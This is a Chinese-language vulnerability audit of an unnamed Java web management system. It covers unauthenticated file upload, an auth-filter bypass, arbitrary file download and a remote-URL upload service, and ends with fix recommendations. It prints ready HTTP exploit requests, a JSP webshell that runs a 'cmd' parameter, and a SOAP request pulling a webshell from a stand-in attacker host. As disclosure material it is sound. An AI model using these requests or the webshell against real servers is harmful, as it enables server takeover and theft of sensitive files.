某管理系统代码审计
字数 1295 2025-08-29 22:41:24

某管理系统代码审计与漏洞利用分析

系统概述

该系统是一个基于Tomcat部署的Java Web管理系统,存在多处安全漏洞,包括:

  • 前台任意文件上传
  • 权限绕过漏洞
  • 任意文件下载
  • 远程文件上传

漏洞分析

1. 前台任意文件上传漏洞

漏洞位置

  • 系统存在一个未鉴权的上传接口 /upload
  • 对应Servlet在web.xml中配置为:
<servlet>
    <servlet-name>upload</servlet-name>
    <servlet-class>com.example.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>upload</servlet-name>
    <url-pattern>/upload</url-pattern>
</servlet-mapping>

漏洞分析

  1. 使用Apache FileUpload组件处理上传
  2. 上传流程:
    • 实例化DiskFileUpload对象
    • 设置临时目录为/tmpmodel/transfer
    • 从multipart/form-data请求中获取文件
    • 将文件写入/tmpmodel/transfer目录
  3. 关键问题:
    • 无文件类型检查
    • 无路径限制
    • 文件名完全可控

利用方法

构造multipart/form-data请求:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<% out.println("Hello World!"); %>
------WebKitFormBoundaryABC123--

上传后文件位于:/tmpmodel/transfer/shell.jsp

2. 权限绕过+文件下载+文件上传漏洞

漏洞位置

  • 另一个上传接口匹配*.upload模式
  • 在web.xml中配置:
<servlet-mapping>
    <servlet-name>AnotherUpload</servlet-name>
    <url-pattern>*.upload</url-pattern>
</servlet-mapping>

权限绕过分析

  1. 系统鉴权Filter逻辑:

    • 检查是否登录
    • 检查URL是否包含/login.action
    • 如果未登录但URL包含/login.action则放行
  2. 绕过方法:

    • 构造URL:login.action.upload
    • 既匹配*.upload又包含/login.action

任意文件下载

  1. 漏洞代码特征:
String path = request.getParameter("path");
File file = new File(path);
// 无任何限制直接返回文件内容
  1. 利用方法:
GET /somepath/login.action.upload?method=download&path=/WEB-INF/web.xml HTTP/1.1
Host: target.com

可控文件上传

  1. 关键参数:

    • norename=true:保持原始文件名
    • filename:控制上传后的文件名
  2. 上传流程:

    • 文件路径:/attachment/store/md5/filename
    • norename=true时,完全控制文件名和扩展名
  3. 利用方法:

POST /somepath/login.action.upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ456

------WebKitFormBoundaryXYZ456
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundaryXYZ456
Content-Disposition: form-data; name="norename"

true
------WebKitFormBoundaryXYZ456--

3. 远程文件上传漏洞

漏洞位置

  • WebService接口uploadFileByUrl
  • 允许通过URL上传文件

漏洞分析

  1. 处理流程:

    • 从请求获取urlsuffix参数
    • 生成文件名:md5(url) + suffix
    • 下载URL内容到服务器
  2. 关键问题:

    • 完全控制文件后缀
    • 无内容安全检查

利用方法

  1. 在攻击者服务器放置webshell文件shell.jsp
  2. 构造请求:
POST /services/UploadService HTTP/1.1
Host: target.com
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
   <soapenv:Body>
      <ns1:uploadFileByUrl xmlns:ns1="http://service.example.com/">
         <url>http://attacker.com/shell.txt</url>
         <suffix>.jsp</suffix>
      </ns1:uploadFileByUrl>
   </soapenv:Body>
</soapenv:Envelope>
  1. 上传后文件路径通常返回在响应中,格式如:/somepath/[md5].jsp

漏洞修复建议

  1. 文件上传漏洞:

    • 实施严格的文件类型检查
    • 限制上传目录不可执行
    • 对上传文件重命名
    • 禁止用户控制文件路径
  2. 权限绕过:

    • 修改Filter逻辑,严格匹配URL而非包含检测
    • *.upload接口实施独立鉴权
  3. 文件下载:

    • 实施路径白名单
    • 检查文件路径是否在允许范围内
  4. 远程文件上传:

    • 禁用或严格限制该功能
    • 检查下载文件内容安全性
    • 限制可下载的文件类型

总结

该系统存在多处严重漏洞,攻击者可通过组合利用这些漏洞实现:

  1. 绕过权限验证
  2. 上传Webshell获取服务器权限
  3. 下载系统敏感文件
  4. 通过远程URL上传恶意文件

建议系统管理员立即修复这些漏洞,并全面检查系统其他部分是否存在类似问题。

某管理系统代码审计与漏洞利用分析 系统概述 该系统是一个基于Tomcat部署的Java Web管理系统,存在多处安全漏洞,包括: 前台任意文件上传 权限绕过漏洞 任意文件下载 远程文件上传 漏洞分析 1. 前台任意文件上传漏洞 漏洞位置 系统存在一个未鉴权的上传接口 /upload 对应Servlet在web.xml中配置为: 漏洞分析 使用Apache FileUpload组件处理上传 上传流程: 实例化DiskFileUpload对象 设置临时目录为 /tmpmodel/transfer 从multipart/form-data请求中获取文件 将文件写入 /tmpmodel/transfer 目录 关键问题: 无文件类型检查 无路径限制 文件名完全可控 利用方法 构造multipart/form-data请求: 上传后文件位于: /tmpmodel/transfer/shell.jsp 2. 权限绕过+文件下载+文件上传漏洞 漏洞位置 另一个上传接口匹配 *.upload 模式 在web.xml中配置: 权限绕过分析 系统鉴权Filter逻辑: 检查是否登录 检查URL是否包含 /login.action 如果未登录但URL包含 /login.action 则放行 绕过方法: 构造URL: login.action.upload 既匹配 *.upload 又包含 /login.action 任意文件下载 漏洞代码特征: 利用方法: 可控文件上传 关键参数: norename=true :保持原始文件名 filename :控制上传后的文件名 上传流程: 文件路径: /attachment/store/md5/filename 当 norename=true 时,完全控制文件名和扩展名 利用方法: 3. 远程文件上传漏洞 漏洞位置 WebService接口 uploadFileByUrl 允许通过URL上传文件 漏洞分析 处理流程: 从请求获取 url 和 suffix 参数 生成文件名: md5(url) + suffix 下载URL内容到服务器 关键问题: 完全控制文件后缀 无内容安全检查 利用方法 在攻击者服务器放置webshell文件 shell.jsp 构造请求: 上传后文件路径通常返回在响应中,格式如: /somepath/[md5].jsp 漏洞修复建议 文件上传漏洞: 实施严格的文件类型检查 限制上传目录不可执行 对上传文件重命名 禁止用户控制文件路径 权限绕过: 修改Filter逻辑,严格匹配URL而非包含检测 对 *.upload 接口实施独立鉴权 文件下载: 实施路径白名单 检查文件路径是否在允许范围内 远程文件上传: 禁用或严格限制该功能 检查下载文件内容安全性 限制可下载的文件类型 总结 该系统存在多处严重漏洞,攻击者可通过组合利用这些漏洞实现: 绕过权限验证 上传Webshell获取服务器权限 下载系统敏感文件 通过远程URL上传恶意文件 建议系统管理员立即修复这些漏洞,并全面检查系统其他部分是否存在类似问题。